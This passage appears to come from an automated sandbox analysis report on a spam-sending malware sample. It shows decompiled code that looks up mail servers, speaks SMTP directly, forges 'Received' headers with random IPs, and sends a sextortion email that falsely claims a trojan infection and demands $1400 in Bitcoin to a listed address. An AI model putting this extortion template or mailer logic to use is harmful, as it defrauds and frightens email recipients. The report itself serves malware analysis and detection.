																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										L47:
										__ecx =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "QUIT", 0xffffffff);
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t192 - 8) = 0 |  *(_t192 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t192 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t192 - 0x1c))); // executed
					return  *(_t192 - 8);
				}
			}

0x002e1c7c
0x002e1c7c
0x002e1c7c
0x002e1c87
0x002e1c8c
0x002e1c91
0x002e1c9f
0x002e1c93
0x002e1c93
0x002e1c93
0x00000000
0x002e220c
0x002e1ab4
0x002e1ab9
0x002e1abc
0x002e1ac9
0x002e1ad0
0x002e1ad6
0x002e1ae5
0x002e1aea
0x002e1aef
0x002e1af6
0x002e1af9
0x002e1b08
0x002e1b15
0x00000000
0x00000000
0x002e1b1b
0x002e1b21
0x00000000
0x002e1b28
0x002e1b28
0x002e1b3c
0x002e1b71
0x002e1b77
0x002e1b7a
0x002e1b3e
0x002e1b4f
0x002e1b55
0x002e1b58
0x002e1b58
0x002e1b92
0x002e1b97
0x002e1b9c
0x002e1baa
0x002e1b9e
0x002e1b9e
0x002e1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1bb6
0x002e1bb6
0x002e1bbf
0x002e1bc6
0x002e1bcc
0x002e1bdb
0x002e1be2
0x002e1be8
0x002e1beb
0x002e1bf1
0x002e1bff
0x002e1c03
0x002e1c0d
0x002e1c1b
0x002e1c0f
0x002e1c0f
0x002e1c0f
0x00000000
0x00000000
0x002e1c27
0x002e1c27
0x002e1c37
0x002e1c3d
0x002e1c40
0x002e1c46
0x002e1c4d
0x002e1c58
0x002e1c62
0x002e1c70
0x002e1c64
0x002e1c64
0x002e1c64
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1cab
0x002e1cab
0x002e1cc9
0x002e1ccf
0x002e1cdd
0x002e1cea
0x002e1cf2
0x002e1cfb
0x002e1d0a
0x002e1d11
0x002e1d16
0x002e1d17
0x002e1d1c
0x002e1d1c
0x002e1d22
0x002e1d27
0x002e1d28
0x002e1d2d
0x002e1d2d
0x002e1d33
0x002e1d38
0x002e1d39
0x002e1d3e
0x002e1d3e
0x002e1d44
0x002e1d49
0x002e1d4a
0x002e1d4f
0x002e1d6c
0x002e1d73
0x002e1d79
0x002e1d7c
0x002e1d82
0x002e1d90
0x002e1d94
0x002e1d9e
0x002e1dac
0x002e1dc5
0x002e1dce
0x002e1ddc
0x002e1de3
0x002e1de9
0x002e1dec
0x002e1df9
0x002e1e00
0x002e1e04
0x002e1e0e
0x002e1e25
0x002e1e2c
0x002e1e32
0x002e1e35
0x002e1e3b
0x002e1e49
0x002e1e57
0x002e1e65
0x002e1e75
0x002e1e7b
0x002e1e7e
0x002e1e84
0x002e1e8b
0x002e1ea0
0x002e1eb8
0x002e1ebf
0x002e1ec5
0x002e1ec8
0x002e1ece
0x002e1edc
0x002e1eea
0x002e1ef8
0x002e1f0b
0x002e1f11
0x002e1f14
0x002e1f1a
0x002e1f21
0x002e1f36
0x002e1f44
0x002e1f4b
0x002e1f66
0x002e1f74
0x002e1f7b
0x002e1f81
0x002e1f84
0x002e1f8a
0x002e1f98
0x002e1fa6
0x002e1fbb
0x002e1fc9
0x002e1fec
0x002e2008
0x002e2015
0x002e2030
0x002e2044
0x002e2051
0x002e2080
0x002e208d
0x002e20bc
0x002e20c9
0x002e20e1
0x002e20ef
0x002e2104
0x002e211f
0x002e2133
0x002e2140
0x002e216f
0x002e217c
0x002e21ab
0x002e21b8
0x002e21d0
0x002e21de
0x002e21e9
0x002e21e0
0x002e21e0
0x002e21e0
0x002e20f1
0x002e20f1
0x002e20f1
0x002e1fee
0x002e1fee
0x002e1fee
0x002e1fcb
0x002e1fcb
0x002e1fcb
0x002e1fa8
0x002e1fa8
0x002e1fa8
0x002e1f38
0x002e1f38
0x002e1f38
0x002e1eec
0x002e1eec
0x002e1eec
0x002e1ea2
0x002e1ea2
0x002e1ea2
0x002e1e59
0x002e1e59
0x002e1e59
0x002e1e10
0x002e1e10
0x002e1e10
0x002e1da0
0x002e1da0
0x002e1da0
0x00000000
0x00000000
0x002e21f2
0x002e21f9
0x002e21fd
0x002e2205
0x00000000
0x00000000
0x002e1af1
0x00000000
0x002e1af1
0x002e1acb
0x00000000
0x002e1acb
0x002e1ac9
0x002e2211
0x002e221a
0x002e2223
0x002e222d
0x002e2239
0x002e2239

APIs

Part of subcall function 002E1120: lstrlenA.KERNEL32(?), ref: 002E112D
Part of subcall function 002E1120: send.WS2_32(?,?,000000FF,00000000), ref: 002E1144

shutdown.WS2_32(000000FF,00000002), ref: 002E2223
closesocket.WS2_32(000000FF), ref: 002E222D

Strings

DATA, xrefs: 002E1C7E

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: DATA
API String ID: 317823648-550793329
Opcode ID: e8357802561abe1ae5ee79641d6016814517da2829965f4d7e5ed279b57045e7
Instruction ID: 3cf83be531f87eedf7c1edca31f55d5d49f4376c63cade7f757644f0d47624f5
Opcode Fuzzy Hash: e8357802561abe1ae5ee79641d6016814517da2829965f4d7e5ed279b57045e7
Instruction Fuzzy Hash: 4601B1B1DA0259DBCF10DFA2DC49BEEB778BB08304F404269EA0A76280D7784874CB20

Uniqueness

Uniqueness Score: -1.00%

Function 002E21F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E002E21F2(void* __eflags) {
				intOrPtr _t169;
				void* _t170;
				void* _t192;
				void* _t194;
				void* _t195;
				void* _t197;

				L0:
				while(1) {
					L0:
					E002E1120( *((intOrPtr*)(_t192 - 0x1c)), "QUIT", 0xffffffff);
					_t195 = _t194 + 0xc;
					 *(_t192 - 0x20) = 8;
					L48:
					while( *(_t192 - 0x20) != 0 &&  *(_t192 - 0x20) != 8) {
						_t169 = E002E1160( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490, 0x400); // executed
						_t197 = _t195 + 0xc;
						 *((intOrPtr*)(_t192 - 0x90)) = _t169;
						if( *((intOrPtr*)(_t192 - 0x90)) != 0) {
							L5:
							 *((char*)(_t192 +  *((intOrPtr*)(_t192 - 0x90)) - 0x490)) = 0;
							_t170 = E002E11C0(_t192 - 0x490);
							_t195 = _t197 + 4;
							if(_t170 != 0) {
								L7:
								 *(_t192 - 0x718) =  *(_t192 - 0x20);
								 *(_t192 - 0x718) =  *(_t192 - 0x718) - 1;
								if( *(_t192 - 0x718) > 6) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t192 - 0x718) * 4 +  &M002E223C))) {
									case 0:
										L9:
										_push("ESMTP");
										if(StrStrA(_t192 - 0x490) == 0) {
											_t174 = wsprintfA(_t192 - 0x490, "HELO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t174;
										} else {
											_t177 = wsprintfA(_t192 - 0x490, "EHLO %s\r\n", "[102.129.143.97]");
											_t198 = _t195 + 0xc;
											 *(_t192 - 0x494) = _t177;
										}
										_t176 = E002E1120( *((intOrPtr*)(_t192 - 0x1c)), _t192 - 0x490,  *(_t192 - 0x494)); // executed
										_t195 = _t198 + 0xc;
										if(_t176 != 0) {
											 *(_t192 - 0x20) = 3;
										} else {
											 *(_t192 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax =  *(__ebp + 8);
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<%s>",  *(__ebp + 8));
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x498) = __eax;
										__ecx =  *(__ebp - 0x498);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x498)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x49c) = __eax;
										__eax =  *(__ebp - 0x49c);
										__ecx = __ebp - 0x490;
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x49c)); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										L25:
										__ecx = __ebp - 0x61c;
										E002E1320(__ebp - 0x61c, 5, __ebp - 0x61c) = wsprintfA(__ebp - 0x508, "%s.com", __eax);
										__esp = __esp + 0xc;
										__ebp - 0x710 = E002E1490(0, __ebp - 0x710, 1); // executed
										Sleep(0x7d0); // executed
										__ecx = __ebp - 0x690;
										__eax = E002E1490(0, __ebp - 0x690, 0); // executed
										__eax = __ebp - 0x508;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t59 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t63 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xfe;
										_t67 = __eax % 0xfe;
										__eax = __eax / 0xfe;
										__eax = rand();
										asm("cdq");
										__ecx = 0xd2;
										_t71 = __eax % 0xd2;
										E002E1390(0xd2, 7, __ebp - 0x6a8) = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", __ebp - 0x490, _t71 + 1, _t67 + 1, _t63 + 1, _t59 + 1, __ebp - 0x508, __ebp - 0x690);
										__esp = __esp + 0x24;
										 *(__ebp - 0x714) = __eax;
										__ecx =  *(__ebp - 0x714);
										__eax =  *(__ebp - 0x1c);
										__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
										if(__eax != 0) {
											__ecx = __ebp - 0x710;
											E002E1320(__ecx, 3, __ebp - 0x628) = __ebp - 0x69c;
											__eax = E002E1320(__ecx, 5, __ebp - 0x69c);
											__ecx = __ebp - 0x490;
											__eax = wsprintfA(__ebp - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", __eax, __eax, __ebp - 0x490);
											__esp = __esp + 0x14;
											 *(__ebp - 0x714) = __eax;
											__eax = __ebp - 0x490;
											__ecx =  *(__ebp - 0x1c);
											__eax = E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)); // executed
											if(__eax != 0) {
												__eax = __ebp - 0x490;
												__eax = wsprintfA(__ebp - 0x490, "From: %s\r\n",  *(__ebp + 8));
												__esp = __esp + 0xc;
												 *(__ebp - 0x714) = __eax;
												__ecx =  *(__ebp - 0x714);
												__eax =  *(__ebp - 0x1c);
												if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
													__ecx =  *(__ebp + 8);
													__eax = wsprintfA(__ebp - 0x490, "To: %s\r\n",  *(__ebp + 8));
													__esp = __esp + 0xc;
													 *(__ebp - 0x714) = __eax;
													__eax =  *(__ebp - 0x714);
													__ecx = __ebp - 0x490;
													if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
														__eax = __ebp - 0x490;
														__eax = wsprintfA(__ebp - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
														__esp = __esp + 0xc;
														 *(__ebp - 0x714) = __eax;
														__ecx =  *(__ebp - 0x714);
														__eax =  *(__ebp - 0x1c);
														if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
															__ecx = __ebp - 0x690;
															__eax = wsprintfA(__ebp - 0x490, "Date: %s\r\n", __ebp - 0x690);
															__esp = __esp + 0xc;
															 *(__ebp - 0x714) = __eax;
															__eax =  *(__ebp - 0x714);
															__ecx = __ebp - 0x490;
															if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																__eax = __ebp - 0x508;
																__ecx = __ebp - 0x628;
																E002E1320(__ecx, 6, __ecx) = E002E1320(__ecx, 6, __ebp - 0x69c);
																__eax = __ebp - 0x490;
																__eax = wsprintfA(__ebp - 0x490, "Message-ID: <%s.%s@%s>\r\n", __ebp - 0x490, __ebp - 0x490, __ebp - 0x508);
																__esp = __esp + 0x14;
																 *(__ebp - 0x714) = __eax;
																__ecx =  *(__ebp - 0x714);
																__eax =  *(__ebp - 0x1c);
																if(E002E1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x714)) != 0) {
																	__ecx =  *(__ebp - 0x1c);
																	if(E002E1120( *(__ebp - 0x1c), "Mime-Version: 1.0\r\n", 0xffffffff) != 0) {
																		if(E002E1120( *(__ebp - 0x1c), "Content-type: text/plain;\r\n\r\n", 0xffffffff) != 0) {
																			__ebp - 0x610 = memset(__ebp - 0x610, 0, 0x104);
																			__ecx = __ebp - 0x610;
																			strcpy(__ebp - 0x610, "Hello there!\r\n\r\n") = strcat(__ebp - 0x610, "Unfortunately, there are some bad news for you.\r\n\r\n");
																			__ebp - 0x610 = strcat(__ebp - 0x610, "Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun.\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			__ebp - 0x610 = strcat(__ebp - 0x610, "All you need is $1400 USD in Bitcoin (BTC) transfer to my account (Bitcoin equivalent based on exchange rate during your transfer).\r\n\r\n");
																			__ecx = __ebp - 0x610;
																			strcat(__ebp - 0x610, "After the transaction is successful, I will proceed to delete everything without delay.\r\n\r\n") =  *(__ebp - 0x1c);
																			if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																				__ecx = __ebp - 0x610;
																				memset(__ebp - 0x610, 0, 0x104) = strcpy(__ebp - 0x610, "Afterwards, we can pretend that we have never met before.\r\n\r\n");
																				__ebp - 0x610 = strcat(__ebp - 0x610, "In addition, I assure you that all the harmful software will be deleted from your device.\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "My Bitcoin (BTC) address is: 1EJJoUCykyZT3FtxRGSpuUsiBxCiHQ4wqX\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				__ebp - 0x610 = strcat(__ebp - 0x610, "Everything will be carried out based on fairness!\r\n\r\n");
																				__ecx = __ebp - 0x610;
																				strcat(__ebp - 0x610, "An advice from me - regularly change all your passwords to your accounts and update your device with newest security patches.\r\n.\r\n") =  *(__ebp - 0x1c);
																				if(E002E1120( *(__ebp - 0x1c), __ebp - 0x610, 0xffffffff) != 0) {
																					 *(__ebp - 0x20) = 7;
																				} else {
																					 *(__ebp - 0x20) = 0;
																				}
																			} else {
																				 *(__ebp - 0x20) = 0;
																			}
																		} else {
																			 *(__ebp - 0x20) = 0;
																		}
																	} else {
																		 *(__ebp - 0x20) = 0;
																	}
																} else {
																	 *(__ebp - 0x20) = 0;
																}
															} else {
																 *(__ebp - 0x20) = 0;
															}
														} else {
															 *(__ebp - 0x20) = 0;
														}
													} else {
														 *(__ebp - 0x20) = 0;
													}
												} else {
													 *(__ebp - 0x20) = 0;
												}
											} else {
												 *(__ebp - 0x20) = 0;
											}
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 6:
										goto L0;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t192 - 8) = 0 |  *(_t192 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t192 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t192 - 0x1c))); // executed
					return  *(_t192 - 8);
				}
			}

0x002e21f2
0x002e21f2
0x002e21f2
0x002e21fd
0x002e2202
0x002e2205
0x00000000
0x002e220c
0x002e1ab4
0x002e1ab9
0x002e1abc
0x002e1ac9
0x002e1ad0
0x002e1ad6
0x002e1ae5
0x002e1aea
0x002e1aef
0x002e1af6
0x002e1af9
0x002e1b08
0x002e1b15
0x00000000
0x00000000
0x002e1b1b
0x002e1b21
0x00000000
0x002e1b28
0x002e1b28
0x002e1b3c
0x002e1b71
0x002e1b77
0x002e1b7a
0x002e1b3e
0x002e1b4f
0x002e1b55
0x002e1b58
0x002e1b58
0x002e1b92
0x002e1b97
0x002e1b9c
0x002e1baa
0x002e1b9e
0x002e1b9e
0x002e1b9e
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1bb6
0x002e1bb6
0x002e1bbf
0x002e1bc6
0x002e1bcc
0x002e1bdb
0x002e1be2
0x002e1be8
0x002e1beb
0x002e1bf1
0x002e1bff
0x002e1c03
0x002e1c0d
0x002e1c1b
0x002e1c0f
0x002e1c0f
0x002e1c0f
0x00000000
0x00000000
0x002e1c27
0x002e1c27
0x002e1c37
0x002e1c3d
0x002e1c40
0x002e1c46
0x002e1c4d
0x002e1c58
0x002e1c62
0x002e1c70
0x002e1c64
0x002e1c64
0x002e1c64
0x00000000
0x00000000
0x002e1c7c
0x002e1c83
0x002e1c87
0x002e1c91
0x002e1c9f
0x002e1c93
0x002e1c93
0x002e1c93
0x00000000
0x00000000
0x002e1cab
0x002e1cab
0x002e1cc9
0x002e1ccf
0x002e1cdd
0x002e1cea
0x002e1cf2
0x002e1cfb
0x002e1d0a
0x002e1d11
0x002e1d16
0x002e1d17
0x002e1d1c
0x002e1d1c
0x002e1d22
0x002e1d27
0x002e1d28
0x002e1d2d
0x002e1d2d
0x002e1d33
0x002e1d38
0x002e1d39
0x002e1d3e
0x002e1d3e
0x002e1d44
0x002e1d49
0x002e1d4a
0x002e1d4f
0x002e1d6c
0x002e1d73
0x002e1d79
0x002e1d7c
0x002e1d82
0x002e1d90
0x002e1d94
0x002e1d9e
0x002e1dac
0x002e1dc5
0x002e1dce
0x002e1ddc
0x002e1de3
0x002e1de9
0x002e1dec
0x002e1df9
0x002e1e00
0x002e1e04
0x002e1e0e
0x002e1e25
0x002e1e2c
0x002e1e32
0x002e1e35
0x002e1e3b
0x002e1e49
0x002e1e57
0x002e1e65
0x002e1e75
0x002e1e7b
0x002e1e7e
0x002e1e84
0x002e1e8b
0x002e1ea0
0x002e1eb8
0x002e1ebf
0x002e1ec5
0x002e1ec8
0x002e1ece
0x002e1edc
0x002e1eea
0x002e1ef8
0x002e1f0b
0x002e1f11
0x002e1f14
0x002e1f1a
0x002e1f21
0x002e1f36
0x002e1f44
0x002e1f4b
0x002e1f66
0x002e1f74
0x002e1f7b
0x002e1f81
0x002e1f84
0x002e1f8a
0x002e1f98
0x002e1fa6
0x002e1fbb
0x002e1fc9
0x002e1fec
0x002e2008
0x002e2015
0x002e2030
0x002e2044
0x002e2051
0x002e2080
0x002e208d
0x002e20bc
0x002e20c9
0x002e20e1
0x002e20ef
0x002e2104
0x002e211f
0x002e2133
0x002e2140
0x002e216f
0x002e217c
0x002e21ab
0x002e21b8
0x002e21d0
0x002e21de
0x002e21e9
0x002e21e0
0x002e21e0
0x002e21e0
0x002e20f1
0x002e20f1
0x002e20f1
0x002e1fee
0x002e1fee
0x002e1fee
0x002e1fcb
0x002e1fcb
0x002e1fcb
0x002e1fa8
0x002e1fa8
0x002e1fa8
0x002e1f38
0x002e1f38
0x002e1f38
0x002e1eec
0x002e1eec
0x002e1eec
0x002e1ea2
0x002e1ea2
0x002e1ea2
0x002e1e59
0x002e1e59
0x002e1e59
0x002e1e10
0x002e1e10
0x002e1e10
0x002e1da0
0x002e1da0
0x002e1da0
0x00000000
0x00000000
0x00000000
0x00000000
0x002e1af1
0x00000000
0x002e1af1
0x002e1acb
0x00000000
0x002e1acb
0x002e1ac9
0x002e2211
0x002e221a
0x002e2223
0x002e222d
0x002e2239
0x002e2239

APIs

Part of subcall function 002E1120: lstrlenA.KERNEL32(?), ref: 002E112D
Part of subcall function 002E1120: send.WS2_32(?,?,000000FF,00000000), ref: 002E1144

shutdown.WS2_32(000000FF,00000002), ref: 002E2223
closesocket.WS2_32(000000FF), ref: 002E222D

Strings

QUIT, xrefs: 002E21F4

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: closesocketlstrlensendshutdown
String ID: QUIT
API String ID: 317823648-1967077921
Opcode ID: 0ccab9fdf62e24320b00fc70682fe3bd1c94d2cb4768dc338e5ef5a64d561640
Instruction ID: d2f16b54dff724ae63375831b09975afe35fdc41a1f06a345bc5aed8ee231f39
Opcode Fuzzy Hash: 0ccab9fdf62e24320b00fc70682fe3bd1c94d2cb4768dc338e5ef5a64d561640
Instruction Fuzzy Hash: 1D01AD71DA0258EFCF10DFA1DC49BADB378BB48304F044269EA0A76280D77808A4CB20

Uniqueness

Uniqueness Score: -1.00%

Function 002E16E0 Relevance: 4.5, APIs: 3, Instructions: 43
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002E1440: inet_addr.WS2_32(002E10D9), ref: 002E144A
Part of subcall function 002E1440: gethostbyname.WS2_32(?), ref: 002E145D

htons.WS2_32(?), ref: 002E1714
socket.WS2_32(00000002,00000001,00000006), ref: 002E1724

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: gethostbynamehtonsinet_addrsocket
String ID:
API String ID: 230923099-0
Opcode ID: 265845068f47b5e19eca00f1220dba391314165b85ab63d1ac1095962cc3ddd7
Instruction ID: 7e5daf0ec688779813898de5ba56626812d44928028b8a13d83ecfd9559c744f
Opcode Fuzzy Hash: 265845068f47b5e19eca00f1220dba391314165b85ab63d1ac1095962cc3ddd7
Instruction Fuzzy Hash: 5F019274D60248E7CB00DFB4A889ABDBB75BF05730F604368F525AB2C0E3708AA0D751

Uniqueness

Uniqueness Score: -1.00%

Function 002E10A0 Relevance: 4.5, APIs: 3, Instructions: 41
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E002E10A0(intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char* _t16;
				intOrPtr _t19;
				short _t20;

				_v12 = 0;
				_v8 = 0;
				_push(0);
				_t16 =  &_v8;
				_push(_t16);
				_push(0);
				_push(0);
				_push(0xf);
				_push(_a4); // executed
				L002E307A(); // executed
				if(_t16 == 0) {
					_t19 = E002E1440( *((intOrPtr*)(_v8 + 0x18))); // executed
					 *((intOrPtr*)(_a8 + 4)) = _t19;
					if(_a8 != 0) {
						_t20 = _a8;
						 *_t20 = 2;
						__imp__#9(0x19);
						 *((short*)(_a8 + 2)) = _t20;
						_v12 = 1;
					}
					_push(1);
					_push(_v8);
					L002E3074();
				}
				return _v12;
			}

0x002e10a6
0x002e10ad
0x002e10b4
0x002e10b6
0x002e10b9
0x002e10ba
0x002e10bc
0x002e10be
0x002e10c3
0x002e10c4
0x002e10cb
0x002e10d4
0x002e10df
0x002e10e6
0x002e10ed
0x002e10f0
0x002e10f5
0x002e10fe
0x002e1102
0x002e1102
0x002e1109
0x002e110e
0x002e110f
0x002e110f
0x002e111a

APIs

DnsQuery_A.DNSAPI(00000000,0000000F,00000000,00000000,00000000,00000000), ref: 002E10C4

Part of subcall function 002E1440: inet_addr.WS2_32(002E10D9), ref: 002E144A
Part of subcall function 002E1440: gethostbyname.WS2_32(?), ref: 002E145D

htons.WS2_32(00000019), ref: 002E10F5
DnsFree.DNSAPI(00000000,00000001), ref: 002E110F

Memory Dump Source

Source File: 00000009.00000002.2483691430.00000000002E1000.00000020.00000001.01000000.00000007.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000009.00000002.2483651319.00000000002E0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483768141.00000000002E4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483830202.00000000002E6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.2483893519.00000000002E8000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2e0000_2569813542.jbxd

Similarity

API ID: FreeQuery_gethostbynamehtonsinet_addr
String ID:
API String ID: 1447329520-0
Opcode ID: 20e115eff4e9cb3c17176c15533d9b6b54adc6ee2ebdb7fda998b9f0af135d01
Instruction ID: 4c66405efa283ecc4ebde2327afe32ee2628ff38b87e2ab6e1cbb7e64127d8cb
Opcode Fuzzy Hash: 20e115eff4e9cb3c17176c15533d9b6b54adc6ee2ebdb7fda998b9f0af135d01
Instruction Fuzzy Hash: 51011A74A50248EBEB10EFA1D88AB9DB774AF44704F608068F9085F381D7B6EA55CB91

Uniqueness

